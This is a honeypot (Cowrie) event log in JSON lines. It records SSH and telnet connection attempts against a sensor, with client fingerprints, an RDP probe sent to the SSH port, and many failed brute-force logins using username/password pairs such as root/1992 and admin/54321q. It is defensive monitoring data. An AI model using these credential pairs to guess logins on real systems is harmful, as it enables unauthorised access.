{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:17:53.984437Z","src_ip":"103.122.221.179","session":"d1734189d1e4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1992","message":"login attempt [root/1992] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:17:54.771789Z","src_ip":"103.122.221.179","session":"d1734189d1e4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:17:56.036013Z","src_ip":"103.122.221.179","session":"d1734189d1e4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":43928,"dst_ip":"10.17.0.5","dst_port":23,"session":"45b51bf50aa0","protocol":"telnet","message":"New connection: 152.42.224.71:43928 (10.17.0.5:23) [session: 45b51bf50aa0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:18:26.905555Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.212.128","src_port":54114,"dst_ip":"159.203.135.109","dst_port":22,"session":"2b408a1006c3","protocol":"ssh","message":"New connection: 152.42.212.128:54114 (159.203.135.109:22) [session: 2b408a1006c3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:18:41.707177Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:18:41.712578Z","src_ip":"152.42.212.128","session":"2b408a1006c3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:18:41.716814Z","src_ip":"152.42.212.128","session":"2b408a1006c3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":43362,"dst_ip":"10.17.0.5","dst_port":23,"session":"284025a959b2","protocol":"telnet","message":"New connection: 152.42.224.71:43362 (10.17.0.5:23) [session: 284025a959b2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:19:04.966686Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.77.175.15","src_port":52294,"dst_ip":"10.17.0.5","dst_port":22,"session":"68585b60d9f7","protocol":"ssh","message":"New connection: 103.77.175.15:52294 (10.17.0.5:22) [session: 68585b60d9f7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:19:12.804769Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:19:12.811456Z","src_ip":"103.77.175.15","session":"68585b60d9f7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:19:13.067806Z","src_ip":"103.77.175.15","session":"68585b60d9f7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"konstantin","message":"login attempt [root/konstantin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:19:13.835736Z","src_ip":"103.77.175.15","session":"68585b60d9f7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:19:15.099356Z","src_ip":"103.77.175.15","session":"68585b60d9f7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.03441119194031,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:20:26.939821Z","src_ip":"152.42.224.71","session":"45b51bf50aa0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.112","src_port":29223,"dst_ip":"159.203.135.109","dst_port":22,"session":"09d66b19cc1c","protocol":"ssh","message":"New connection: 2.57.121.112:29223 (159.203.135.109:22) [session: 09d66b19cc1c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:20:44.752567Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.83","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.83","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:20:44.756998Z","src_ip":"2.57.121.112","session":"09d66b19cc1c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:20:44.860821Z","src_ip":"2.57.121.112","session":"09d66b19cc1c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"54321q","message":"login attempt [admin/54321q] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:20:45.356009Z","src_ip":"2.57.121.112","session":"09d66b19cc1c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"5369","message":"login attempt [admin/5369] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:20:46.463461Z","src_ip":"2.57.121.112","session":"09d66b19cc1c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"5366","message":"login attempt [admin/5366] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:20:47.570584Z","src_ip":"2.57.121.112","session":"09d66b19cc1c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":54566,"dst_ip":"10.17.0.5","dst_port":23,"session":"c79b976e5048","protocol":"telnet","message":"New connection: 152.42.224.71:54566 (10.17.0.5:23) [session: c79b976e5048]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:20:48.006380Z"}
{"eventid":"cowrie.login.failed","username":"admin","password":"526452","message":"login attempt [admin/526452] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:20:48.676919Z","src_ip":"2.57.121.112","session":"09d66b19cc1c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"51842543","message":"login attempt [admin/51842543] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:20:49.783809Z","src_ip":"2.57.121.112","session":"09d66b19cc1c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:20:50.890925Z","src_ip":"2.57.121.112","session":"09d66b19cc1c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":54572,"dst_ip":"10.17.0.5","dst_port":23,"session":"ab3d0c2f0799","protocol":"telnet","message":"New connection: 152.42.224.71:54572 (10.17.0.5:23) [session: ab3d0c2f0799]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:20:55.026659Z"}
{"eventid":"cowrie.session.closed","duration":110.23390889167786,"message":"Connection lost after 110 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:20:55.200452Z","src_ip":"152.42.224.71","session":"284025a959b2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":4.852653741836548,"message":"Connection lost after 4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:20:59.879205Z","src_ip":"152.42.224.71","session":"ab3d0c2f0799","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.25","src_port":29346,"dst_ip":"159.203.135.109","dst_port":22,"session":"f4f22c4a4951","protocol":"ssh","message":"New connection: 2.57.121.25:29346 (159.203.135.109:22) [session: f4f22c4a4951]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:21:04.625055Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.83","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.83","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:21:04.630243Z","src_ip":"2.57.121.25","session":"f4f22c4a4951","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:21:04.736299Z","src_ip":"2.57.121.25","session":"f4f22c4a4951","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"18071994","message":"login attempt [user/18071994] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:21:05.223149Z","src_ip":"2.57.121.25","session":"f4f22c4a4951","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"180687","message":"login attempt [user/180687] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:21:06.330404Z","src_ip":"2.57.121.25","session":"f4f22c4a4951","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"18051981","message":"login attempt [user/18051981] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:21:07.437635Z","src_ip":"2.57.121.25","session":"f4f22c4a4951","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"18041980","message":"login attempt [user/18041980] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:21:08.545626Z","src_ip":"2.57.121.25","session":"f4f22c4a4951","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"18011995","message":"login attempt [user/18011995] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:21:09.652986Z","src_ip":"2.57.121.25","session":"f4f22c4a4951","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:21:10.760259Z","src_ip":"2.57.121.25","session":"f4f22c4a4951","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":53872,"dst_ip":"10.17.0.5","dst_port":23,"session":"712b5ff75afd","protocol":"telnet","message":"New connection: 152.42.224.71:53872 (10.17.0.5:23) [session: 712b5ff75afd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:21:15.849326Z"}
{"eventid":"cowrie.session.connect","src_ip":"167.172.81.52","src_port":54830,"dst_ip":"10.17.0.5","dst_port":22,"session":"0e8431eee3b2","protocol":"ssh","message":"New connection: 167.172.81.52:54830 (10.17.0.5:22) [session: 0e8431eee3b2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:21:24.696083Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:21:24.702300Z","src_ip":"167.172.81.52","session":"0e8431eee3b2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:21:24.707085Z","src_ip":"167.172.81.52","session":"0e8431eee3b2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":44470,"dst_ip":"10.17.0.5","dst_port":23,"session":"0f0b939c05ed","protocol":"telnet","message":"New connection: 152.42.224.71:44470 (10.17.0.5:23) [session: 0f0b939c05ed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:21:28.960469Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.113.233.25","src_port":33222,"dst_ip":"10.17.0.5","dst_port":22,"session":"f51cb5c8891a","protocol":"ssh","message":"New connection: 194.113.233.25:33222 (10.17.0.5:22) [session: f51cb5c8891a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:21:32.804908Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:21:32.809450Z","src_ip":"194.113.233.25","session":"f51cb5c8891a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:21:32.899293Z","src_ip":"194.113.233.25","session":"f51cb5c8891a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"abc123456","message":"login attempt [root/abc123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:21:33.171064Z","src_ip":"194.113.233.25","session":"f51cb5c8891a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:21:34.265790Z","src_ip":"194.113.233.25","session":"f51cb5c8891a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":49.16276669502258,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:21:37.169030Z","src_ip":"152.42.224.71","session":"c79b976e5048","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.149.28.157","src_port":38648,"dst_ip":"10.17.0.5","dst_port":22,"session":"44fc9cb594af","protocol":"ssh","message":"New connection: 103.149.28.157:38648 (10.17.0.5:22) [session: 44fc9cb594af]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:21:54.041870Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:21:54.046282Z","src_ip":"103.149.28.157","session":"44fc9cb594af","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:21:54.295941Z","src_ip":"103.149.28.157","session":"44fc9cb594af","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"enigma","message":"login attempt [root/enigma] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:21:55.045441Z","src_ip":"103.149.28.157","session":"44fc9cb594af","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:21:56.298537Z","src_ip":"103.149.28.157","session":"44fc9cb594af","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.66.85.226","src_port":43378,"dst_ip":"10.17.0.5","dst_port":22,"session":"ea7a442f1a17","protocol":"ssh","message":"New connection: 80.66.85.226:43378 (10.17.0.5:22) [session: ea7a442f1a17]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:22:06.559628Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:22:06.564006Z","src_ip":"80.66.85.226","session":"ea7a442f1a17","protocol":"ssh"}
